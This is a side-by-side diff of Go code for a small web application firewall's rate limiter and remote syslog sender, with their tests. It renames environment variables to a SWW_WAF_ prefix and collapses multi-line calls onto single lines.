// the client over a rate limit or a byte limit, and each client's history // the client over a rate limit or a byte limit, and each client's history
// since it was first seen. At most SWW_MAX_TRACKED_CLIENTS clients are // since it was first seen. At most SWW_WAF_MAX_TRACKED_CLIENTS clients are
// kept, in memory, and written to clients.json and read from it by the // kept, in memory, and written to clients.json and read from it by the
// state package. // state package.
package ratelimit package ratelimit
@@ -157,7 +157,7 @@ type Request struct {
} }
// New returns a Limiter for limits, with no client counted yet, whose // New returns a Limiter for limits, with no client counted yet, whose
// table holds at most maxClients clients (SWW_MAX_TRACKED_CLIENTS). Past // table holds at most maxClients clients (SWW_WAF_MAX_TRACKED_CLIENTS). Past
// it, the least recently seen client is dropped, with its history, and // it, the least recently seen client is dropped, with its history, and
// starts afresh if it comes back. // starts afresh if it comes back.
func New(limits Limits, maxClients int) *Limiter { func New(limits Limits, maxClients int) *Limiter {
@@ -241,8 +241,7 @@ func (l *Limiter) OverARateLimit(client netip.Prefix, now time.Time) bool {
buckets := c.buckets() buckets := c.buckets()
for i, w := range l.windows { for i, w := range l.windows {
if w.limit > 0 && if w.limit > 0 && buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) {
buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) {
return true return true
} }
} }
@@ -272,12 +271,7 @@ func (l *Limiter) CountRefusal(
defer l.mu.Unlock() defer l.mu.Unlock()
count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1) count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1)
hit := Hit{ hit := Hit{Kind: KindRefusals, Window: "minute", Limit: threshold, Count: count}
Kind: KindRefusals,
Window: "minute",
Limit: threshold,
Count: count,
}
return hit, count > float64(threshold) return hit, count > float64(threshold)
} }
@@ -298,11 +292,7 @@ func (l *Limiter) Reset(client netip.Prefix) {
// AddToHistory adds r, a request from client at now, to the client's // AddToHistory adds r, a request from client at now, to the client's
// history. // history.
func (l *Limiter) AddToHistory( func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
client netip.Prefix,
now time.Time,
r Request,
) {
l.mu.Lock() l.mu.Lock()
defer l.mu.Unlock() defer l.mu.Unlock()
@@ -480,13 +470,7 @@ func (l *Limiter) count(
for i, w := range l.windows { for i, w := range l.windows {
requestCounts[i] = requestBuckets[i].Add(now, w.length, requests) requestCounts[i] = requestBuckets[i].Add(now, w.length, requests)
byteCounts[i] = byteBuckets[i].Add(now, w.length, bytes) byteCounts[i] = byteBuckets[i].Add(now, w.length, bytes)
limit, byteLimit := percentOf( limit, byteLimit := percentOf(w.limit, percent), percentOf(w.byteLimit, percent)
w.limit,
percent,
), percentOf(
w.byteLimit,
percent,
)
switch { switch {
case hit.Window != "": case hit.Window != "":
+35 -129
View File
@@ -13,7 +13,7 @@ import (
const limit = 3 const limit = 3
// tableSize is the most clients the tests' tables hold, the default of // tableSize is the most clients the tests' tables hold, the default of
// SWW_MAX_TRACKED_CLIENTS. // SWW_WAF_MAX_TRACKED_CLIENTS.
const tableSize = 20000 const tableSize = 20000
// whole is the percentage of each limit a client gets when nothing lowers // whole is the percentage of each limit a client gets when nothing lowers
@@ -26,17 +26,13 @@ const (
hour = "hour" hour = "hour"
) )
func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing( func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
now := midnight() now := midnight()
limiter := ratelimit.New( limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit + 1},
ratelimit.Limits{PerMinute: limit, PerDay: limit + 1}, tableSize)
tableSize,
)
if limiter.OverARateLimit(client, now) { if limiter.OverARateLimit(client, now) {
t.Error("a client never seen is over a rate limit") t.Error("a client never seen is over a rate limit")
@@ -48,9 +44,7 @@ func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(
for range limit { for range limit {
if limiter.OverARateLimit(client, now) { if limiter.OverARateLimit(client, now) {
t.Error( t.Error("a client with room for another request is over a rate limit")
"a client with room for another request is over a rate limit",
)
} }
wantCount(t, limiter, client, now, "") wantCount(t, limiter, client, now, "")
@@ -62,11 +56,7 @@ func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(
held, _ := limiter.Client(client) held, _ := limiter.Client(client)
if held.Minute.Current != limit { if held.Minute.Current != limit {
t.Errorf( t.Errorf("the client's minute holds %d requests, want %d", held.Minute.Current, limit)
"the client's minute holds %d requests, want %d",
held.Minute.Current,
limit,
)
} }
wantCount(t, limiter, client, now, minute) wantCount(t, limiter, client, now, minute)
@@ -109,13 +99,7 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
// A quarter into the next bucket, the window still covers three // A quarter into the next bucket, the window still covers three
// quarters of the bucket before, with its four requests: 3 + 1 // quarters of the bucket before, with its four requests: 3 + 1
// is over the limit. // is over the limit.
wantCount( wantCount(t, limiter, client, start.Add(tc.length+quarter), tc.window)
t,
limiter,
client,
start.Add(tc.length+quarter),
tc.window,
)
// Three quarters into it, a quarter: 1 + 2 is within. // Three quarters into it, a quarter: 1 + 2 is within.
wantCount(t, limiter, client, start.Add(tc.length+3*quarter), "") wantCount(t, limiter, client, start.Add(tc.length+3*quarter), "")
@@ -126,10 +110,7 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) { func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New( limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit}, tableSize)
ratelimit.Limits{PerMinute: limit, PerHour: limit},
tableSize,
)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -147,22 +128,16 @@ func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
Kind: ratelimit.KindRequests, Window: minute, Limit: limit, Count: limit + 1, Kind: ratelimit.KindRequests, Window: minute, Limit: limit, Count: limit + 1,
} }
if !over || hit != want { if !over || hit != want {
t.Errorf( t.Errorf("request over the limit gives %+v and %t, want %+v and true",
"request over the limit gives %+v and %t, want %+v and true", hit, over, want)
hit,
over,
want,
)
} }
} }
func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) { func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New( limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64},
ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64}, tableSize)
tableSize,
)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -176,19 +151,9 @@ func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
_, hit, over := limiter.Count(client, start, 50) _, hit, over := limiter.Count(client, start, 50)
want := ratelimit.Hit{ want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: minute, Limit: 2, Count: 3}
Kind: ratelimit.KindRequests,
Window: minute,
Limit: 2,
Count: 3,
}
if !over || hit != want { if !over || hit != want {
t.Errorf( t.Errorf("the third request gives %+v and %t, want %+v and true", hit, over, want)
"the third request gives %+v and %t, want %+v and true",
hit,
over,
want,
)
} }
// Half of the largest byte limit is still far above a TiB: working it // Half of the largest byte limit is still far above a TiB: working it
@@ -203,10 +168,8 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
t.Parallel() t.Parallel()
// Only the hour has limits: the minute's and the day's are off. // Only the hour has limits: the minute's and the day's are off.
limiter := ratelimit.New( limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000},
ratelimit.Limits{PerHour: limit, BytesPerHour: 1000}, tableSize)
tableSize,
)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -214,24 +177,14 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
// hour's limits, which are 0; the minute's, which are off, stay off. // hour's limits, which are 0; the minute's, which are off, stay off.
_, hit, _ := limiter.Count(client, start, 0) _, hit, _ := limiter.Count(client, start, 0)
want := ratelimit.Hit{ want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: hour, Limit: 0, Count: 1}
Kind: ratelimit.KindRequests,
Window: hour,
Limit: 0,
Count: 1,
}
if hit != want { if hit != want {
t.Errorf("the first request gives %+v, want %+v", hit, want) t.Errorf("the first request gives %+v, want %+v", hit, want)
} }
_, hit, _ = limiter.CountBytes(client, start, 1, 0) _, hit, _ = limiter.CountBytes(client, start, 1, 0)
want = ratelimit.Hit{ want = ratelimit.Hit{Kind: ratelimit.KindBytes, Window: hour, Limit: 0, Count: 1}
Kind: ratelimit.KindBytes,
Window: hour,
Limit: 0,
Count: 1,
}
if hit != want { if hit != want {
t.Errorf("the first byte gives %+v, want %+v", hit, want) t.Errorf("the first byte gives %+v, want %+v", hit, want)
} }
@@ -262,23 +215,13 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
t.Fatal("600 bytes are over the limit of 1000") t.Fatal("600 bytes are over the limit of 1000")
} }
_, hit, over := limiter.CountBytes( _, hit, over := limiter.CountBytes(client, midnight(), 600, whole)
client,
midnight(),
600,
whole,
)
want := ratelimit.Hit{ want := ratelimit.Hit{
Kind: ratelimit.KindBytes, Window: tc.window, Limit: byteLimit, Count: 1200, Kind: ratelimit.KindBytes, Window: tc.window, Limit: byteLimit, Count: 1200,
} }
if !over || hit != want { if !over || hit != want {
t.Errorf( t.Errorf("1200 bytes give %+v and %t, want %+v and true", hit, over, want)
"1200 bytes give %+v and %t, want %+v and true",
hit,
over,
want,
)
} }
}) })
} }
@@ -287,10 +230,8 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) { func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New( limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000},
ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000}, tableSize)
tableSize,
)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
other := netip.MustParsePrefix("203.0.113.10/32") other := netip.MustParsePrefix("203.0.113.10/32")
start := midnight() start := midnight()
@@ -360,10 +301,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
for range limit { for range limit {
if _, over := limiter.CountRefusal(client, start, limit); over { if _, over := limiter.CountRefusal(client, start, limit); over {
t.Fatalf( t.Fatalf("a refusal within the threshold of %d broke the error burst", limit)
"a refusal within the threshold of %d broke the error burst",
limit,
)
} }
} }
@@ -373,21 +311,13 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1, Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1,
} }
if !over || hit != want { if !over || hit != want {
t.Errorf( t.Errorf("one over the threshold broke it: %t, with %+v; want %+v", over, hit,
"one over the threshold broke it: %t, with %+v; want %+v", want)
over,
hit,
want,
)
} }
// Half a minute into the next, half of those four still count, 2, and // Half a minute into the next, half of those four still count, 2, and
// this one: 3, within the threshold. // this one: 3, within the threshold.
hit, over = limiter.CountRefusal( hit, over = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
client,
start.Add(time.Minute+time.Minute/2),
limit,
)
if over || hit.Count != 3 { if over || hit.Count != 3 {
t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false", t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false",
hit.Count, over) hit.Count, over)
@@ -396,11 +326,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
// A ban sets them back to zero. // A ban sets them back to zero.
limiter.Reset(client) limiter.Reset(client)
hit, _ = limiter.CountRefusal( hit, _ = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
client,
start.Add(time.Minute+time.Minute/2),
limit,
)
if hit.Count != 1 { if hit.Count != 1 {
t.Errorf("after a reset, %v refusals, want 1", hit.Count) t.Errorf("after a reset, %v refusals, want 1", hit.Count)
} }
@@ -421,11 +347,7 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
// hour still covers three quarters of the bucket before, with its three // hour still covers three quarters of the bucket before, with its three
// requests, which count 2.25, and this one: 3.25. The day covers all // requests, which count 2.25, and this one: 3.25. The day covers all
// four. // four.
counts, _, _ := limiter.Count( counts, _, _ := limiter.Count(client, start.Add(time.Hour+time.Hour/4), whole)
client,
start.Add(time.Hour+time.Hour/4),
whole,
)
want := ratelimit.Counts{Minute: 1, Hour: 3.25, Day: 4} want := ratelimit.Counts{Minute: 1, Hour: 3.25, Day: 4}
if counts != want { if counts != want {
@@ -436,10 +358,7 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
func TestResetSetsTheCountsBackToZero(t *testing.T) { func TestResetSetsTheCountsBackToZero(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New( limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit}, tableSize)
ratelimit.Limits{PerMinute: limit, PerDay: limit},
tableSize,
)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -480,10 +399,8 @@ func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) {
func TestRefusedRequestsCount(t *testing.T) { func TestRefusedRequestsCount(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New( limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit},
ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit}, tableSize)
tableSize,
)
refused := netip.MustParsePrefix("203.0.113.9/32") refused := netip.MustParsePrefix("203.0.113.9/32")
within := netip.MustParsePrefix("203.0.113.10/32") within := netip.MustParsePrefix("203.0.113.10/32")
start := midnight() start := midnight()
@@ -584,11 +501,7 @@ func TestKeepsAtMostMaxClientsDroppingTheLeastRecentlySeen(t *testing.T) {
wantCount(t, limiter, clients[maxClients], now, "") wantCount(t, limiter, clients[maxClients], now, "")
if limiter.Len() != maxClients { if limiter.Len() != maxClients {
t.Errorf( t.Errorf("the table holds %d clients, want %d", limiter.Len(), maxClients)
"the table holds %d clients, want %d",
limiter.Len(),
maxClients,
)
} }
wantCount(t, limiter, clients[1], now, "") wantCount(t, limiter, clients[1], now, "")
@@ -603,10 +516,7 @@ func midnight() time.Time {
// wantCount counts a request from client at now, and checks the window // wantCount counts a request from client at now, and checks the window
// whose limit it goes over, "" for none. // whose limit it goes over, "" for none.
func wantCount( func wantCount(
t *testing.T, t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time,
limiter *ratelimit.Limiter,
client netip.Prefix,
now time.Time,
want string, want string,
) { ) {
t.Helper() t.Helper()
@@ -621,12 +531,8 @@ func wantCount(
// wantBytesCount counts bytes from client at now, and checks the kind of // wantBytesCount counts bytes from client at now, and checks the kind of
// the limit they break, "" for none. // the limit they break, "" for none.
func wantBytesCount( func wantBytesCount(
t *testing.T, t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time,
limiter *ratelimit.Limiter, bytes int64, want string,
client netip.Prefix,
now time.Time,
bytes int64,
want string,
) { ) {
t.Helper() t.Helper()
+8 -27
View File
@@ -12,12 +12,7 @@ import (
func TestSnapshotListsTheClientsByAddress(t *testing.T) { func TestSnapshotListsTheClientsByAddress(t *testing.T) {
t.Parallel() t.Parallel()
want := []string{ want := []string{"192.0.2.1/32", "203.0.113.9/32", "203.0.113.10/32", "2001:db8::/64"}
"192.0.2.1/32",
"203.0.113.9/32",
"203.0.113.10/32",
"2001:db8::/64",
}
limiter := ratelimit.New(ratelimit.Limits{}, tableSize) limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
for _, i := range []int{2, 3, 0, 1} { for _, i := range []int{2, 3, 0, 1} {
@@ -37,12 +32,8 @@ func TestSnapshotListsTheClientsByAddress(t *testing.T) {
counted := ratelimit.Buckets{Start: midnight(), Current: 1} counted := ratelimit.Buckets{Start: midnight(), Current: 1}
if snapshot[0].Minute != counted || snapshot[0].Day != counted { if snapshot[0].Minute != counted || snapshot[0].Day != counted {
t.Errorf( t.Errorf("buckets %+v and %+v, want %+v", snapshot[0].Minute, snapshot[0].Day,
"buckets %+v and %+v, want %+v", counted)
snapshot[0].Minute,
snapshot[0].Day,
counted,
)
} }
} }
@@ -95,15 +86,10 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
t.Errorf("loaded two minutes on as %+v", got) t.Errorf("loaded two minutes on as %+v", got)
} }
if got.MinuteBytes != (ratelimit.Buckets{}) || if got.MinuteBytes != (ratelimit.Buckets{}) || got.HourBytes.Current != 5 ||
got.HourBytes.Current != 5 ||
got.DayBytes.Current != 5 { got.DayBytes.Current != 5 {
t.Errorf( t.Errorf("loaded two minutes on with buckets of bytes %+v, %+v and %+v",
"loaded two minutes on with buckets of bytes %+v, %+v and %+v", got.MinuteBytes, got.HourBytes, got.DayBytes)
got.MinuteBytes,
got.HourBytes,
got.DayBytes,
)
} }
if got.MinuteRefusals != (ratelimit.Buckets{}) { if got.MinuteRefusals != (ratelimit.Buckets{}) {
@@ -115,13 +101,8 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
got = loaded(start.Add(2*time.Minute - time.Nanosecond)) got = loaded(start.Add(2*time.Minute - time.Nanosecond))
if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 || if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 ||
got.MinuteRefusals.Current != 1 { got.MinuteRefusals.Current != 1 {
t.Errorf( t.Errorf("loaded just under two minutes on with minute buckets %+v, %+v "+
"loaded just under two minutes on with minute buckets %+v, %+v "+ "and %+v", got.Minute, got.MinuteBytes, got.MinuteRefusals)
"and %+v",
got.Minute,
got.MinuteBytes,
got.MinuteRefusals,
)
} }
} }
+10 -17
View File
@@ -1,5 +1,5 @@
// Package remotelog sends the lines sww writes on stdout to the // Package remotelog sends the lines sww writes on stdout to the
// remote log endpoint, SWW_LOG_REMOTE_URL, as the "Request log" section // remote log endpoint, SWW_WAF_LOG_REMOTE_URL, as the "Request log" section
// of SPEC.md describes: each line as the message of an RFC 5424 syslog // of SPEC.md describes: each line as the message of an RFC 5424 syslog
// record, over UDP, TCP or TLS. Lines wait in a bounded buffer, so a slow // record, over UDP, TCP or TLS. Lines wait in a bounded buffer, so a slow
// or unreachable endpoint never holds up a request or stdout. // or unreachable endpoint never holds up a request or stdout.
@@ -24,7 +24,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
// The forms of SWW_LOG_REMOTE_URL, by its scheme. // The forms of SWW_WAF_LOG_REMOTE_URL, by its scheme.
const ( const (
SchemeUDP = "syslog+udp" SchemeUDP = "syslog+udp"
SchemeTCP = "syslog+tcp" SchemeTCP = "syslog+tcp"
@@ -56,18 +56,18 @@ const (
// Params are what New needs. // Params are what New needs.
type Params struct { type Params struct {
// URL is the endpoint (SWW_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or // URL is the endpoint (SWW_WAF_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or
// SchemeTLS, a host and a port. // SchemeTLS, a host and a port.
URL *url.URL URL *url.URL
// RootCAs are the certificates a SchemeTLS endpoint's certificate // RootCAs are the certificates a SchemeTLS endpoint's certificate
// must chain to (SWW_LOG_REMOTE_TLS_CA_FILE), nil for the host's. // must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
RootCAs *x509.CertPool RootCAs *x509.CertPool
// Buffer is the most lines held while they wait to be sent // Buffer is the most lines held while they wait to be sent
// (SWW_LOG_REMOTE_BUFFER). // (SWW_WAF_LOG_REMOTE_BUFFER).
Buffer int Buffer int
// Facility is the number of the records' syslog facility // Facility is the number of the records' syslog facility
// (SWW_LOG_REMOTE_FACILITY), and AppName their APP-NAME // (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
// (SWW_LOG_REMOTE_APP_NAME). // (SWW_WAF_LOG_REMOTE_APP_NAME).
Facility int Facility int
AppName string AppName string
} }
@@ -185,11 +185,7 @@ func (s *Sender) Run(ctx context.Context, processLog *slog.Logger) {
// and over TCP and TLS after its length in bytes and a space, the // and over TCP and TLS after its length in bytes and a space, the
// octet-counted framing of RFC 6587 and RFC 5425. // octet-counted framing of RFC 6587 and RFC 5425.
func (s *Sender) record(at string, line []byte) []byte { func (s *Sender) record(at string, line []byte) []byte {
record := make( record := make([]byte, 0, len(s.beforeTime)+len(at)+len(s.afterTime)+len(line))
[]byte,
0,
len(s.beforeTime)+len(at)+len(s.afterTime)+len(line),
)
record = append(record, s.beforeTime...) record = append(record, s.beforeTime...)
record = append(record, at...) record = append(record, at...)
record = append(record, s.afterTime...) record = append(record, s.afterTime...)
@@ -223,10 +219,7 @@ func (s *Sender) put(record []byte) {
// send connects to the endpoint and sends each record as it comes into // send connects to the endpoint and sends each record as it comes into
// the buffer, until ctx is done, and returns the connection then open, or // the buffer, until ctx is done, and returns the connection then open, or
// nil. // nil.
func (s *Sender) send( func (s *Sender) send(ctx context.Context, processLog *slog.Logger) net.Conn {
ctx context.Context,
processLog *slog.Logger,
) net.Conn {
delay := firstRetryDelay delay := firstRetryDelay
for { for {
@@ -250,7 +243,7 @@ func (s *Sender) send(
} }
} }
processLog.Warn("sending to SWW_LOG_REMOTE_URL failed", processLog.Warn("sending to SWW_WAF_LOG_REMOTE_URL failed",
"error", err.Error(), "connecting_again_in", delay.String()) "error", err.Error(), "connecting_again_in", delay.String())
select { select {
+26 -102
View File
@@ -57,27 +57,16 @@ func TestRecordsOverUDPGoOnePerDatagram(t *testing.T) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
endpoint, err := (&net.ListenConfig{}).ListenPacket( endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback)
t.Context(),
"udp",
loopback,
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
t.Cleanup(func() { _ = endpoint.Close() }) t.Cleanup(func() { _ = endpoint.Close() })
sender, _, _ := run( sender, _, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr()))
t,
params(remotelog.SchemeUDP, endpoint.LocalAddr()),
)
_, _ = sender.Write( _, _ = sender.Write([]byte(`{"type":"request"}` + "\n" + `{"type":"process"}` + "\n"))
[]byte(
`{"type":"request"}` + "\n" + `{"type":"process"}` + "\n",
),
)
synctest.Wait() synctest.Wait()
wantCounts(t, sender, 2, 0, 0) wantCounts(t, sender, 2, 0, 0)
@@ -119,9 +108,7 @@ func TestRecordsOverTCPAreOctetCountedWithTheirFacility(t *testing.T) {
}) })
} }
func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped( func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -187,11 +174,7 @@ func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) {
wantCounts(t, sender, 1, 0, 0) wantCounts(t, sender, 1, 0, 0)
conn := endpoint.next(t) conn := endpoint.next(t)
wantFrame( wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "one"))
t,
bufio.NewReader(conn),
record(t, local0Info, appName, "one"),
)
// The endpoint goes away: it closes the connection, and refuses the // The endpoint goes away: it closes the connection, and refuses the
// next ones. The sender notices when a record fails, and tries to // next ones. The sender notices when a record fails, and tries to
@@ -220,11 +203,7 @@ func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) {
wantCounts(t, sender, sent+1, 1, 0) wantCounts(t, sender, sent+1, 1, 0)
conn = endpoint.next(t) conn = endpoint.next(t)
wantFrame( wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "two"))
t,
bufio.NewReader(conn),
record(t, local0Info, appName, "two"),
)
wantRetries(t, logged, "1s", "2s") wantRetries(t, logged, "1s", "2s")
}) })
} }
@@ -234,19 +213,12 @@ func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) {
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
endpoint := listen(t) endpoint := listen(t)
sender, logged, _ := run( sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr()))
t,
params(remotelog.SchemeTCP, endpoint.Addr()),
)
// The endpoint closes each connection as soon as it takes it. The // The endpoint closes each connection as soon as it takes it. The
// sender notices when a record fails, and connects again a second // sender notices when a record fails, and connects again a second
// later, then two seconds after that, then four. // later, then two seconds after that, then four.
delays := []time.Duration{ delays := []time.Duration{time.Second, 2 * time.Second, 4 * time.Second}
time.Second,
2 * time.Second,
4 * time.Second,
}
for i, delay := range delays { for i, delay := range delays {
_ = accept(t, endpoint).Close() _ = accept(t, endpoint).Close()
@@ -258,17 +230,12 @@ func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) {
}) })
} }
func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute( func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
endpoint := listen(t) endpoint := listen(t)
sender, logged, _ := run( sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr()))
t,
params(remotelog.SchemeTCP, endpoint.Addr()),
)
_ = accept(t, endpoint).Close() _ = accept(t, endpoint).Close()
@@ -304,21 +271,14 @@ func TestALineTooLongForADatagramIsDroppedAlone(t *testing.T) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
endpoint, err := (&net.ListenConfig{}).ListenPacket( endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback)
t.Context(),
"udp",
loopback,
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
t.Cleanup(func() { _ = endpoint.Close() }) t.Cleanup(func() { _ = endpoint.Close() })
sender, logged, _ := run( sender, logged, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr()))
t,
params(remotelog.SchemeUDP, endpoint.LocalAddr()),
)
// With its header, the first line's record is longer than the 65507 // With its header, the first line's record is longer than the 65507
// bytes a UDP datagram over IPv4 holds. It is dropped, nothing is // bytes a UDP datagram over IPv4 holds. It is dropped, nothing is
@@ -412,10 +372,7 @@ func params(scheme string, addr net.Addr) remotelog.Params {
// run runs a Sender with settings until the test ends or the function // run runs a Sender with settings until the test ends or the function
// it returns is called, which waits for Run to return. It returns the // it returns is called, which waits for Run to return. It returns the
// Sender, and what it logs. // Sender, and what it logs.
func run( func run(t *testing.T, settings remotelog.Params) (*remotelog.Sender, *output, func()) {
t *testing.T,
settings remotelog.Params,
) (*remotelog.Sender, *output, func()) {
t.Helper() t.Helper()
sender := remotelog.New(settings) sender := remotelog.New(settings)
@@ -442,11 +399,7 @@ func run(
func listen(t *testing.T) net.Listener { func listen(t *testing.T) net.Listener {
t.Helper() t.Helper()
listener, err := (&net.ListenConfig{}).Listen( listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", loopback)
t.Context(),
"tcp",
loopback,
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
@@ -485,17 +438,11 @@ type tlsEndpoint struct {
// startTLSEndpoint starts a tlsEndpoint with certificate, which takes // startTLSEndpoint starts a tlsEndpoint with certificate, which takes
// connections until it is told to refuse them. // connections until it is told to refuse them.
func startTLSEndpoint( func startTLSEndpoint(t *testing.T, certificate tls.Certificate) *tlsEndpoint {
t *testing.T,
certificate tls.Certificate,
) *tlsEndpoint {
t.Helper() t.Helper()
listener := listen(t) listener := listen(t)
endpoint := &tlsEndpoint{ endpoint := &tlsEndpoint{addr: listener.Addr(), conns: make(chan net.Conn, 10)}
addr: listener.Addr(),
conns: make(chan net.Conn, 10),
}
config := &tls.Config{ config := &tls.Config{
Certificates: []tls.Certificate{certificate}, Certificates: []tls.Certificate{certificate},
MinVersion: tls.VersionTLS12, MinVersion: tls.VersionTLS12,
@@ -509,8 +456,7 @@ func startTLSEndpoint(
} }
server := tls.Server(conn, config) server := tls.Server(conn, config)
if endpoint.refusing.Load() || if endpoint.refusing.Load() || server.HandshakeContext(t.Context()) != nil {
server.HandshakeContext(t.Context()) != nil {
_ = conn.Close() _ = conn.Close()
continue continue
@@ -582,17 +528,9 @@ func wantCounts(
) { ) {
t.Helper() t.Helper()
if sender.Sent() != sent || sender.Dropped() != dropped || if sender.Sent() != sent || sender.Dropped() != dropped || sender.Depth() != depth {
sender.Depth() != depth { t.Fatalf("sent %d, dropped %d, %d in the buffer; want %d, %d and %d",
t.Fatalf( sender.Sent(), sender.Dropped(), sender.Depth(), sent, dropped, depth)
